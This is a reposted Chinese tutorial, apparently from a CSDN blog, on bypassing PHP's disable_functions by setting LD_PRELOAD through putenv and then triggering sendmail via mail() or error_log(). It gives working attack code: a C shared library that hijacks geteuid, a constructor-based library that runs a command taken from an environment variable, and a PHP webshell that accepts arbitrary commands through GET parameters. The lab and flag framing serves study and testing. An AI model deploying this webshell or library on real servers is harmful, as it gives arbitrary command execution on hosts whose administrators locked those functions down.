php限制一个函数在几分钟内不被调用_PHP绕过disable_function限制-转载 | 时刻需

本文介绍了如何使用Linux环境变量LD_PRELOAD来绕过PHP中disable_function对某些函数的限制,通过创建共享库并利用mail或error_log函数触发系统命令执行。详细步骤包括编写C代码、编译共享库以及通过PHP脚本设置环境变量来实现命令执行。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

LD_PRELOAD环境变量突破

环境搭建

ubuntu+apache2+php7.2

配置

/etc/php/7.2/apache2/php.ini

注意事项:在复现时会发现个问题,就是将shell写进tmp下的文件,读不出来不显示结果,如写一个yy文件,测试发现其实没写进去,但tmp下会多出一个类似systemd-private-6fd8249ddb434d9dbc78af925255bcd5-apache2.service-4xyy0d/tmp/这样一个文件夹,这是因为systemd服务会将的/tmp/目录重定向到另外一个目录,比如我系统里面php的tmp目录就被重定向到了 /tmp/systemd-private-6fd8249ddb434d9dbc78af925255bcd5-apache2.service-4xyy0d/tmp/,systemd服务的这个特性,是由PrivateTmp属性来设定的,可以更改PrivateTmp属性值来选择是否需要重定向。

systemd中服务的配置文件都在目录/lib/systemd/system/中,apache对应的配置文件为apache2.service,centos下对应/usr/lib/systemd/system/httpd.service

文件内容

[Service]

Type=forking

Environment=APACHE_STARTED_BY_SYSTEMD=true

ExecStart=/usr/sbin/apachectl start

ExecStop=/usr/sbin/apachectl stop

ExecReload=/usr/sbin/apachectl graceful

PrivateTmp=true

Restart=on-abort

[Install]

WantedBy=multi-user.target

将PrivateTmp=true改为false就行了。这也就说明我们在写文件的时候条件必须是一个可写可读的目录,若tmp写不进去只能想办法有没有其他可写的目录。

LD_PRELOAD是Linux系统的下一个有趣的环境变量:“它允许你定义在程序运行前优先加载的动态链接库。这个功能主要就是用来有选择性的载入不同动态链接库中的相同函数。通过这个环境变量,我们可以在主程序和其动态链接库的中间加载别的动态链接库,甚至覆盖正常的函数库。一方面,我们可以以此功能来使用自己的或是更好的函数(无需别人的源码),而另一方面,我们也可以以向别人的程序注入程序,从而达到特定的目的。

而php的mail函数在执行过程中会默认调用系统程序/usr/sbin/sendmail,如果我们能劫持sendmail程序,再用mail函数来触发就能实现我们的目的。

在mail函数未禁用的情况下我们可以用mail触发:

1.png

我们先禁用一些常见命令:

在/etc/php.ini中

然后测试一下:

shell.php

echo system('whoami');

?>

2.png

运行文件

会提示该函数被禁用。现在我们用上面方法突破该命令

a.c

#include

#include

#include

void payload(){

FILE*fp = fopen("/tmp/1.txt","w");

fclose(fp);

system("mv /flag /tmp/flag");

}

int geteuid(){

FILE *fp1=fopen("/tmp/1.txt","r");

if(fp1!=NULL)

{

fclose(fp1);

return 552;

}else {

payload();

return 552;

}

}

上面这是c代码,这段内容就是先写入一个文件,然后若文件存在便执行system命令,这里我们让根目录下的flag移动到tmp目录下。

然后编译我们的文件共享库

gcc -shared -fPIC a.c -o flag.so

//gcc -shared -fPIC a.c -o flag.so -m64 是64位

这样flag.so被编译好了,然后利用环境变量 LD_PRELOAD 劫持系统函数,让外部程序加载恶意 *.so,达到执行系统命令的效果。

通过修改环境变量LD_PRELOAD,让php启动新的进程的时候加载我们设置好的函数,比如说system()这样一来,就可以做到bypass了,mail函数可以创建新进程,只要启用了新的进程就有机会加载我们在上一个进程中构造的函数。

通过putenv来设置LD_PRELOAD,让我们的程序优先被调用。在webshell上用mail函数发送一封邮件来触发。

test.php

putenv("LD_PRELOAD=/var/www/flag.so");

mail("message","","","");

?>

3.png

4.png

5.png

现在flag是在根目录下的,

然后执行文件看是否可以成功命令执行。

执行后会发现flag不在根目录下了

这说明system命令通过mail成功触发执行。

如果mail函数也被禁用的话,还有一种方法,error_log()也能触发执行命令。

putenv("LD_PRELOAD=/var/www/flag.so");

error_log("1","1","1","")

?>

参见https://github.com/yangyangwithgnu/bypass_disablefunc_via_LD_PRELOAD,这是大佬写的脚本,编译成共享库配合php脚本可以任意命令执行。

GCC 有个 C 语言扩展修饰符 attribute__((constructor)),可以让由它修饰的函数在 main()

之前执行,若它出现在共享对象中时,那么一旦共享对象被系统加载,立即将执行 __attribute((constructor)) 修饰的函数

因此,可以通过这个方式来构造函数,把我们要执行的命令放在环境变量里,执行时直接加载环境变量的命令,就可以做到绕过了

#define _GNU_SOURCE

#include

#include

#include

extern char** environ;

__attribute__ ((__constructor__)) void preload (void)

{

// get command line options and arg

const char* cmdline = getenv("EVIL_CMDLINE");

// unset environment variable LD_PRELOAD.

// unsetenv("LD_PRELOAD") no effect on some

// distribution (e.g., centos), I need crafty trick.

int i;

for (i = 0; environ[i]; ++i) {

if (strstr(environ[i], "LD_PRELOAD")) {

environ[i][0] = '\0';

}

}

// executive command

system(cmdline);

}

将此代码编译成64位或者是32位共享库。

然后配合bypass_disablefunc.p脚本执行命令。

echo "

example: http://site.com/bypass_disablefunc.php?cmd=pwd&outpath=/tmp/xx&sopath=/var/www/bypass_disablefunc_x64.so

";

$cmd = $_GET["cmd"];

$out_path = $_GET["outpath"];

$evil_cmdline = $cmd . " > " . $out_path . " 2>&1";

echo "

cmdline: " . $evil_cmdline . "

";

putenv("EVIL_CMDLINE=" . $evil_cmdline);

$so_path = $_GET["sopath"];

putenv("LD_PRELOAD=" . $so_path);

mail("message", "", "", "");

echo "

output:
" . nl2br(file_get_contents($out_path)) . "

";

unlink($out_path);

?>

6.png

这里我简单测试了一下看是否可以。

直接将命令参数赋值在脚本里,当然执行脚本存在的问题就是我们必须对out_path这个参数指定的路径是可写可读的,成功运用此方法的前提是该网站或者其他应用程序存在上传漏洞或者有其他后门能让我们成功上传shell文件。

然后执行下文件看是否可以

7.png

这里是可以看到命令执行成功的,返回当前文件路径。

访问页面,

8-1024x128.png

9.png

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值